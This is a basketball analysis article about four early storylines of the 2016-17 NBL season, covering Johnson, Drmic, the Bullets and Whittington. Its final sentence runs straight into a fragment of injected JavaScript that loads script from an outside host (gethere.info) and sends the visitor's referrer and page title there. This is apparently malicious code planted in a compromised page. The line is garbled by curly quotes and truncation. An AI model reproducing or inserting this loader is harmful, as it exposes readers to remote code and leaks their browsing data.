The NBL regular season is a quarter of the way done, and many narratives have been introduced by what’s happened so far.
Below are four of this year’s best first acts, those developments that have set up a compelling new story that’ll unfold through the rest of ’16-17.
Jaron Johnson got fired and rehired
Entering this season, the Wildcats had a recent history of calmness with their import positions—they fielded eight such players in the previous seven seasons.
The Johnson situation was therefore a change of pace. He was fired three games into his Perth career and replaced by Andre Ingram, who asked to be released two games later, prompting the Wildcats to bring Johnson back. It had a Jesse Sanders vibe and was a contrast to the days of Kevin Lisch and Jermaine Beal.
Perth said after re-activating Johnson that its intention was to keep him for the rest of the season, which would allow for at least two interesting possibilities. If the Wildcats have a failed season, this episode—opting for a player they’ve doubted instead of another import—would be viewed as a contributing blunder. Or it could be remembered as a near-miss, the time they almost lost a guy who helped them to playoff success.
Both those outcomes are conceivable given what’s happened with Johnson so far. He’s failed to reach eight points in three of his five games, and according to RealGM, Perth’s offensive rating is fifth in the league. He’s also shooting 54.2 percent from three-point range with 2.6 makes per game, including a game-saver against Cairns and a half-court buzzer-beater against Adelaide.
Another option is that Perth’s intention changes, and he gets cut by the Wildcats for the second time in one season.
Anthony Drmic shot 26.1 percent
Drmic ended his career at Boise State with the most three-point makes all time for the university and the second most points. He would debut for the 36ers as a 24-year-old rookie with 131 games of college experience across five seasons. There was even talk from John Rillie about how he drew a poor performance out of Doug McDermott one night.
Despite that set-up, Drmic had a cold start to his NBL career. He’s averaging 3.3 points on 26.1 percent shooting from the field and 30.6 percent from deep through his first seven games. He missed seven of his first eight free throws in the league. The quiet introduction came even though he played 14.9 minutes a game for the NBL’s highest scoring team and Mitch Creek wasn’t around for four of those matches.
Drmic showed signs of a turnaround in his most recent game, a loss in Perth. He had 17 points in the match and an outburst of assertiveness in the second quarter, when he attempted five triples—one more than he’d shot in his first six games.
It currently stands as an outlier performance, but there’s enough season left for him to make that a roughly typical night.
Improved output from Drmic would provide the Sixers with insurance for a Nathan Sobey cooldown, a likely prospect on some level given he’s shooting 53.5 percent from the field and 61 percent from range. Drmic also has another year left on his deal with Adelaide, so the club will be keen to have him well beyond the uneasy rookie phase by the end of ’16-17. The league’s worst defence could use whatever stifled McDermott, too.
The Brisbane Bullets went inside a lot
The Bullets have developed a distinct style seven games into their return season by playing the most inside-focused game in the league. They remain unseduced by the three-ball and have instead chosen an approach that’s yielded lots of offensive rebounds, close-range attempts and trips to the line.
They’ve taken an NBL-high 62.1 percent of their field goal attempts from inside the paint according to crunchtimeshots.com, and they’re the least prolific three-point shooting team with 15.3 attempts. They also lead the league in offensive rebounding percentage at 38.4, according to RealGM, and are shooting 21 free throws a game, which is fifth most.
Their style makes them different to the other seven teams, which gives them an extra layer of appeal, and there’s room for them to further their commitment to playing around the hoop. Cameron Bairstow is playing 20.6 minutes a game so far and averaging 10 field goal attempts. His playing time, and his looks inside, should expand in the remainder of the season.
Brisbane has clear incentive to remain the NBL’s most inside-oriented team. It’s a method that’ll prime them for the playoffs, when the game is more physical, easy points are rarer, and one- or two-game shooting slumps can end your season. The Wildcats last year had a similar focus—58 percent of their field goal attempts were in the paint—on their way to the title.
Greg Whittington produced
Whittington has filled the stat sheet to open his NBL career, gathering sizable doses of rebounds, steals, blocks and fouls. He’s produced with efficiency as well as diversity, shown by field goal and three-point percentages above 50 and the league’s second best defensive rating.
He plays a physically efficient game, too. He moves calmly around the court but can be quick when quickness is called for. He twice faked his way to an open path past his defender while in possession on Monday night against Cairns.
Whittington isn’t abusing his potential for such individual handiwork. He keeps the ball moving in a team with ample scoring options and he’s averaging 7.9 shots per game. That’s probably best for the Kings, so long as his sharing doesn’t lead him to obscurity in Sydney’s offence for long stretches.
If he and the Kings can balance that, he has a chance to be the most effective import they’ve had since re-entering the league in 2010, which’d be notable given the NBA players and draftees they’ve fielded. More significantly, that’d boost Sydney’s chances of making the playoffs for the first time since 2012-13.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;